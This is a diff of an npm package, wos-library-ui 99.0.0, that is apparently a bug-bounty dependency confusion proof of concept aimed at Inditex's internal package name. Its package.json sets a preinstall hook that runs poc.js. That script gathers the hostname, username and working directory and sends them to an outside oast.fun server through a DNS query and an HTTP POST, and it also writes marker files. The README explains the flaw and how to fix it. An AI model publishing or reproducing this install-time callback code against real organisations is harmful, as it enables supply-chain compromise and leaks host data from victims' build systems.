wos-library-ui 99.0.0

package/README.md

@@ -0,0 +1,41 @@
+# wos-library-ui - Security Research
+
+## Purpose
+
+This package was published as part of **authorized security research** on the [Inditex HackerOne Bug Bounty Program](https://hackerone.com/inditex).
+
+It demonstrates that the internal package name `wos-library-ui` (used in Inditex's Warehouse Operations System as a UI component library at version `1.7.2`) was unclaimed on the public npm registry, making it vulnerable to **dependency confusion** attacks.
+
+## What This Package Does
+
+During `preinstall`, it:
+1. Sends a **single DNS lookup** to a researcher-controlled Interactsh server encoding the package name, hostname, and username
+2. Sends a **single HTTP POST** to the same server with install context metadata
+3. Writes a local marker JSON file to prove execution
+
+**No malicious actions are performed.** No data is exfiltrated beyond the above identifiers needed to prove code execution context.
+
+## If You Installed This Unexpectedly
+
+Your build system pulled this package from the public npm registry instead of your private/internal registry. This means:
+1. Your `.npmrc` or build configuration does not properly pin `wos-library-ui` to your private registry
+2. An attacker could have published a malicious version that would execute arbitrary code in your CI/CD pipeline
+
+## Evidence
+
+The internal package name was discovered in publicly accessible JavaScript bundles:
+```
+node_modules/.pnpm/wos-library-ui@1.7.2_lib-frontsga@9.26.1_react-dom@18.3.1_react@18.3.1__react-router-do_06bd279db69d4831bf72c82706880652/node_modules/wos-library-ui/
+```
+
+## Remediation
+
+- Reserve this package name on npm (transfer ownership to your organization)
+- Configure per-scope registry pinning in `.npmrc`: `@inditex:registry=https://your-private-registry/`
+- Use scoped package names for all internal packages (e.g., `@inditex/wos-library-ui`)
+- Commit lockfiles and enable integrity checking
+
+## Contact
+
+- Researcher: sidhant (HackerOne)
+- Program: Inditex Bug Bounty (HackerOne)

package/index.js

@@ -0,0 +1,19 @@
+/**
+ * wos-library-ui - Security Research PoC
+ *
+ * This package was published as part of authorized security research
+ * demonstrating a dependency confusion vulnerability.
+ *
+ * If this package was installed in your environment unexpectedly,
+ * it means your build system is vulnerable to dependency confusion attacks.
+ *
+ * Contact: security@inditex.com
+ * HackerOne Program: Inditex
+ */
+
+module.exports = {
+  name: 'wos-library-ui',
+  version: '99.0.0',
+  type: 'security-research-poc',
+  message: 'This is a dependency confusion proof of concept. No malicious actions are performed. A DNS/HTTP callback is triggered during preinstall to prove code execution.'
+};

package/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "wos-library-ui",
+  "version": "99.0.0",
+  "description": "Security research - dependency confusion proof of concept. This package demonstrates that the name 'wos-library-ui' was unclaimed on the public npm registry while being used internally by Inditex WOS. If you received this package unexpectedly, please contact security@inditex.com. Author: sidhant (HackerOne researcher).",
+  "keywords": ["security-research", "dependency-confusion", "poc"],
+  "author": "sidhant <security-researcher>",
+  "license": "ISC",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/user/dependency-confusion-poc"
+  },
+  "scripts": {
+    "preinstall": "node poc.js"
+  },
+  "main": "index.js"
+}

package/poc.js

@@ -0,0 +1,113 @@
+/**
+ * wos-library-ui - Dependency Confusion PoC
+ *
+ * Benign preinstall callback for security research.
+ * Sends a single DNS + HTTP ping to researcher's Interactsh server
+ * to prove code execution context during npm/pnpm install.
+ *
+ * NO destructive actions. NO data exfiltration beyond identifiers.
+ * NO persistence. NO lateral movement.
+ *
+ * Researcher: sidhant | Program: Inditex (HackerOne)
+ */
+
+const https = require('https');
+const http = require('http');
+const dns = require('dns');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+
+const PKG = 'wos-library-ui';
+const VER = '99.0.0';
+const INTERACTSH = 'csytkgaubytabdgcvgljmgf8o1uj876pg.oast.fun';
+
+// Collect environment identifiers (non-sensitive)
+const info = {
+  package: PKG,
+  version: VER,
+  type: 'dependency-confusion-poc',
+  researcher: 'sidhant',
+  program: 'Inditex HackerOne',
+  hostname: os.hostname(),
+  username: os.userInfo().username,
+  cwd: process.cwd(),
+  timestamp: new Date().toISOString(),
+  message: 'This file was created by a security research PoC package. Your build resolved wos-library-ui from the PUBLIC npm registry instead of your internal registry. This proves dependency confusion. Contact: sidhant via HackerOne/Inditex program.'
+};
+
+// Helper: sanitize string for DNS label (a-z0-9 and hyphens, max 63 chars)
+function dnsLabel(str) {
+  return String(str)
+    .toLowerCase()
+    .replace(/[^a-z0-9-]/g, '-')
+    .replace(/-+/g, '-')
+    .replace(/^-|-$/g, '')
+    .substring(0, 63);
+}
+
+// --- 1. Write local marker file (same as wos-library PoC) ---
+const marker = JSON.stringify(info, null, 2);
+const markerFilename = '.wos-library-ui-depconf-poc.json';
+
+try {
+  fs.writeFileSync(path.join(process.cwd(), markerFilename), marker);
+} catch (e) {}
+
+try {
+  fs.writeFileSync(path.join(os.tmpdir(), 'wos-library-ui-depconf-poc.json'), marker);
+} catch (e) {}
+
+// --- 2. DNS callback (proves code execution via DNS log) ---
+// Format: <pkg>.<hostname>.<username>.<interactsh>
+const dnsPayload = [
+  dnsLabel(PKG),
+  dnsLabel(info.hostname),
+  dnsLabel(info.username)
+].join('.') + '.' + INTERACTSH;
+
+try {
+  dns.resolve(dnsPayload, 'A', () => {});
+} catch (e) {}
+
+// --- 3. HTTP callback (proves code execution via HTTP log) ---
+const httpPayload = JSON.stringify({
+  p: PKG,
+  v: VER,
+  h: info.hostname,
+  u: info.username,
+  d: info.cwd,
+  t: info.timestamp
+});
+
+try {
+  const req = http.request({
+    hostname: INTERACTSH,
+    port: 80,
+    path: '/' + dnsLabel(PKG),
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(httpPayload),
+      'X-Poc-Package': PKG,
+      'X-Poc-Researcher': 'sidhant'
+    },
+    timeout: 5000
+  }, () => {});
+  req.on('error', () => {});
+  req.write(httpPayload);
+  req.end();
+} catch (e) {}
+
+// --- Console output ---
+console.log('');
+console.log('[SECURITY RESEARCH] wos-library-ui@99.0.0 — Dependency Confusion PoC');
+console.log('[SECURITY RESEARCH] This package was installed from the PUBLIC npm registry.');
+console.log('[SECURITY RESEARCH] Your build is vulnerable to dependency confusion.');
+console.log('[SECURITY RESEARCH] Researcher: sidhant | Program: Inditex (HackerOne)');
+console.log('[SECURITY RESEARCH] Callback sent to: ' + INTERACTSH);
+console.log('[SECURITY RESEARCH] Marker file written to: ' + markerFilename);
+console.log('');
+
+// Force exit after 3s so preinstall doesn't hang on open sockets
+setTimeout(() => process.exit(0), 3000).unref();